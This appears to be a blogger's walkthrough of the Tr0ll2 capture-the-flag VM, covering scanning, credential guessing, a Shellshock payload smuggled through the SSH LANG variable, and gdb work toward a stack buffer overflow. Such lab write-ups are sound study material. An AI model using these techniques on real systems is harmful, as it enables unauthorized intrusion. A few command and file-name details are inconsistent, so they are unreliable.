My first full boot2root challenge and walkthrough. I have been learning on the fly with some of the other challenges but for most part I’d had to refer to walkthroughs, but this time I was determined to complete the journey under my own steam before any other walthroughs were published.
Poking about
Started the ball rolling with with some basic enumeration:
1
# netdiscover
Let’s see what is listening with a simple scan…
1234567891011121314151617181920212223242526272829
# nmap -sS -A -O 192.168.6.128
Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-26 13:46 GMT
Nmap scan report for 192.168.6.128
Host is up (0.0011s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA)
| 2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA)
|_ 256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:85:A9:28 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.11 ms 192.168.6.128
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.80 seconds
Exploring the Web
Starting with the 80/tcp, after taking a look with a browser, used wget to grab the files…
123456
# wget -pnH http://192.168.6.128
Saving to: 'index.html'
Saving to: 'robots.txt'
Saving to: 'tr0ll_again.jpg'
Downloaded: 3 files, 76K in 0.004s (19.0 MB/s)
Along with the html and a jpg, also got a robots.txt
Looking at the image for stego hidden info…
1
# strings tr0ll_again.jpg
Nothing…
Tried with a stego detection tool and found some additional bytes, but not looking significant sense right now, may come back to this…
No obvious stego and strings, except for the slightly larger one dont_bother/cat_the_troll.jpg
1234567891011
# stepic -di noob/cat_the_troll.jpg | xxd
0000000: 6e6d nm
# stepic -di dont_bother/cat_the_troll.jpg | xxd
0000000: 6e6d nm
# strings noob/cat_the_troll.jpg
# strings dont_bother/cat_the_troll.jpg
...trim...
Look Deep within y0ur_self for the answer
Having seen this kind of troll before, quickly found the answer.txt
123456789101112131415
# curl http://192.168.6.128/y0ur_self/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /y0ur_self</title>
</head>
<body>
<h1>Index of /y0ur_self</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[DIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="answer.txt">answer.txt</a></td><td align="right">04-Oct-2014 01:22 </td><td align="right">1.3M</td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.2.22 (Ubuntu) Server at 192.168.6.128 Port 80</address>
</body></html>
Appears to be a base64 encoded list which quickly decodes to some kind of dictionary list
1
# base64 answer.txt > dec-answer.txt
…however a couple of these stood out on visual review…
ItCantReallyBeThisEasyRightLOL
…and down in amongst the Caps items…
trollololol
Tried the above 2 phrases on ssh and ftp in various combos but this is where progress halted, not even a troll to trip over…I was stuck…
My thoughts kept coming back to a bruteforce/dictionary attack of some kind, but surely the user/password would be based on something given up by the server, from the words used in the web pages, service banners, image texts, etc. I decided to leave the decoded answer.txt out for now, except for the “anomolous” words I pulled out and eventually after much dodgy scripting, (I am keen to read other walkthroughs when published as I’m sure there was an easier way to get to this, whether using a different tool or something simpler that I missed)
Tr0ll/Tr0ll came up trumps!!
Back In Action
After a couple of days of contemplating defeat, now finally back on track making progress again…
1234567891011121314151617181920
# ftp 192.168.6.128
Connected to 192.168.6.128.
220 Welcome to Tr0ll FTP... Only noobs stay for a while...
Name (192.168.6.128:root): Tr0ll
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 1474 Oct 04 01:09 lmao.zip
226 Directory send OK.
ftp> get lmao.zip
local: lmao.zip remote: lmao.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for lmao.zip (1474 bytes).
226 Transfer complete.
1474 bytes received in 0.01 secs (270.9 kB/s)
Obiviously password protected, and after 2 failed attempts was starting to wonder if the troll had me beaten again, but…
third time lucky with the earlier dictionary list word ItCantReallyBeThisEasyRightLOL
# ssh noob@192.168.6.128 -i noob.txt -v
OpenSSH_6.0p1 Debian-4+deb7u2, OpenSSL 1.0.1e 11 Feb 2013
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug1: Connecting to 192.168.6.128 [192.168.6.128] port 22.
debug1: Connection established.
debug1: permanently_set_uid: 0/0
debug1: identity file noob.txt type -1
debug1: identity file noob.txt-cert type -1
debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 Debian-5ubuntu1.4
debug1: match: OpenSSH_5.9p1 Debian-5ubuntu1.4 pat OpenSSH_5*
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u2
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client aes128-ctr hmac-md5 none
debug1: kex: client->server aes128-ctr hmac-md5 none
debug1: sending SSH2_MSG_KEX_ECDH_INIT
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: Server host key: ECDSA 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96
debug1: Host '192.168.6.128' is known and matches the ECDSA host key.
debug1: Found key in /root/.ssh/known_hosts:5
debug1: ssh_ecdsa_verify: signature correct
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: Roaming not allowed by server
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Trying private key: noob.z
debug1: read PEM private key done: type RSA
debug1: Authentication succeeded (publickey).
Authenticated to 192.168.6.128 ([192.168.6.128]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: Remote: Forced command.
debug1: Sending environment.
debug1: Sending env LANG = en_GB.UTF-8
TRY HARDER LOL!debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
debug1: channel 0: free: client-session, nchannels 1
Connection to 192.168.6.128 closed.
Transferred: sent 2632, received 1744 bytes, in 0.1 seconds
Bytes per second: sent 40829.1, received 27053.9
debug1: Exit status 0
SHELLSHOCK!! BASHBUG!!
During the initial days of shellshock a few weks back I was looking at all kinds of exploits and remembered the OpenSSL exploit and thinking at the time how it was next to useless given that you had to authenticate first, but in this case it seemed to fit the bill…
First attempt didn’t work out.. # LANG='() { :; }; /usr/bin/id' ssh noob@192.168.6.128 -i noob.txt, next try did the trick tho..
It was while thinking about ways to examine/play with these, I realised that I was still sending commands via bashbug and thought I might get a shell instead ;)
Second one seems to throw the user into a restricted shell of some kind and after less that 2 mins, the connection dies and I can try again.
Might be able to remove the restriction on the shell or modify the code to execute something else instead.
1234567
/nothing_to_see_here/choose_wisely/door3/r00t
2 MINUTE HARD MODE LOL
ls
/bin/bash: line 4: /bin/ls: Permission denied
id
uid=1002(noob) gid=1002(noob) groups=1002(noob)
No permission to run strings on the VM, but local examination of this binary shows:
Last up something that appears to execute root shell before rudely laughing in your face ;)
123456
/nothing_to_see_here/choose_wisely/door1/r00t
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
Connection to 192.168.6.128 closed by remote host.
According to the local strings output, this also reboots
123
Good job, stand by, executing root shell...
BUHAHAHA NOOB!
/sbin/reboot
Something I noticed is that the behaviour changes between these scripts so you have to check the size to see which binary you are ponting to
Buffer Overflow
The concept is a familiar one and I have seen plenty of examples, but never tried myself so this will be trial and error.
I started by just increasing the input length 100x “A”, 200x “A” and at 300x “A” I got a result:
So, still working theoretically, I just need to create a sled, some shellcode then somehow direct the pointer at byte 269 at the sled.
I haven’t looked at asm for about 10 years, so I’m hoping this is going a case of just dumping the registers.
12345678910111213141516171819202122232425262728
gdb /nothing_to_see_here/choose_wisely/door2/r00t
(gdb) start $(python -c 'print "A"*268 + "B"*4 + "\x90"*10')
Temporary breakpoint 1, main (argc=2, argv=0xbffffc34) at bof.c:7
(gdb) 7 bof.c: No such file or directory.
r
Starting program: /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268 + "B"*4 + "\x90"*10')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0x11a 282
ecx 0x0 0
edx 0x0 0
ebx 0xb7fd1ff4 -1208147980
esp 0xbffffba0 0xbffffba0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x210286 [ PF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/256xb $esp shows the sled. Now i have the 4 bytes for the instruction pointer..